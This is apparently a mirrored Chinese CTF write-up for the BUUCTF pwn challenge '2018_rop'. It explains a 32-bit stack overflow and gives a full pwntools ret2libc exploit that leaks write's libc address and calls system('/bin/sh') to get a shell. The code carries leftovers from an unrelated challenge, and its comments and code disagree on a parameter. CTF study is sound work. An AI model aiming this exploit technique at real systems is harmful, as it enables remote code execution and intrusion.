zoukankan      html  css  js  c++  java
  • BUUCTF PWN 铁人三项(第五赛区)_2018_rop

    1.经典的没有libc类型题目

    检查了下只有一个

    ssize_t vulnerable_function()
    {
      char buf[136]; // [esp+10h] [ebp-88h] BYREF
    
      return read(0, buf, 0x100u);
    }
    

    2.溢出漏洞可以利用 buf0x88

    利用思路:

    利用write函数来泄露程序的libc版本

    即write函数 ssize_t write(int fd,const void*buf,size_t count);

    参数说明:
    fd:是文件描述符(write所对应的是写,即就是1)
    buf:通常是一个字符串,需要写入的字符串
    count:是每次写入的字节数

    payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
    r.sendline(payload)
    write_addr=u32(r.recv(4))
    libc=LibcSearcher('write',write_addr)
    

    这边解释一下第一个payload
    首先填充‘a’*(0x88+4)造成溢出,覆盖到返回地址,返回地址填上write函数的plt地址来调用write函数,之后跟上main函数地址(我们要将程序程序重新执行一遍,再次利用输入点来进构造rop)
    p32(0)+p32(write_addr)+p32(4)是在设置write函数的参数,对应函数原型看一下,32位程序是4位,所以这边写的4,对应的64位程序是8位

    知道libc版本后去计算程序里的system函数和字符串“/bin/sh”的地址

    offset=write_addr-libc.dump('write')     #计算偏移量
                                              #偏移量=程序里的函数地址-libc里的函数地址
    system_addr=offset+libc.dump('system')
    bin_sh=offset+libc.dump('str_bin_sh')
    

    覆盖返回地址为system(‘/bin/sh’),获取shell

    payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)
    

    整体exp

    
    from pwn import *
    from LibcSearcher import *
    context.log_level = 'debug'
    
    
    r = remote("node4.buuoj.cn", 25687)
    # r = process("./pwn2_sctf_2016")
    elf = ELF("2018_rop")
    
    #system_addr=elf.sym['system']
    # printf_plt = elf.plt['printf']
    # printf_got = elf.got['printf']
    #start = elf.sym['_start']
    # r.recvline()    
    #printf_addr = u32(r.recv(4))
    # log.success("printf addr => {}".format(hex(printf_addr)))
    # libc = LibcSearcher("printf", printf_addr)
    # base = printf_addr - libc.dump("printf")
    # system = base + libc.dump("system")
    # binsh = base + libc.dump("str_bin_sh")
    #system = printf_addr 	-0xe6e0
    #binsh = printf_addr	    +0x11000b
    #payload1 = flat([ 'a'*(0x2c+4), system, start, binsh ])
    #r.sendlineafter("How many bytes do you want me to read?", "-1")
    #r.sendlineafter("of data!", payload1).decode('unicode_escape')
    write_plt=elf.plt['write']
    write_got=elf.got['write']
    main=elf.sym['main']
    payload='a'*(0x88+4)+p32(write_plt).decode('unicode_escape')+p32(main).decode('unicode_escape')+p32(0).decode('unicode_escape')+p32(write_got).decode('unicode_escape')+p32(4).decode('unicode_escape')
    
    r.sendline(payload)
    write_addr=u32(r.recv(4))
    
    libc=LibcSearcher('write',write_addr)
    offset=write_addr-libc.dump('write')
    
    system_addr=offset+libc.dump('system')
    bin_sh=offset+libc.dump('str_bin_sh')
    
    
    payload='a'*(0x88+4)+p32(system_addr).decode('unicode_escape')+p32(0).decode('unicode_escape')+p32(bin_sh).decode('unicode_escape')
    
    r.sendline(payload)
    r.interactive()
    
  • 相关阅读:
    docker基础总结
    python基础学习总结
    静默(命令行)安装oracle 11g
    java中如果函数return可能抛出异常怎么办
    Android 开发先驱的博客列表
    栈与队列
    线性表
    算法
    数据结构概论
    iOS开发中实现手势解锁
  • 原文地址:https://www.cnblogs.com/socialbiao/p/15698647.html
Copyright © 2011-2022 走看看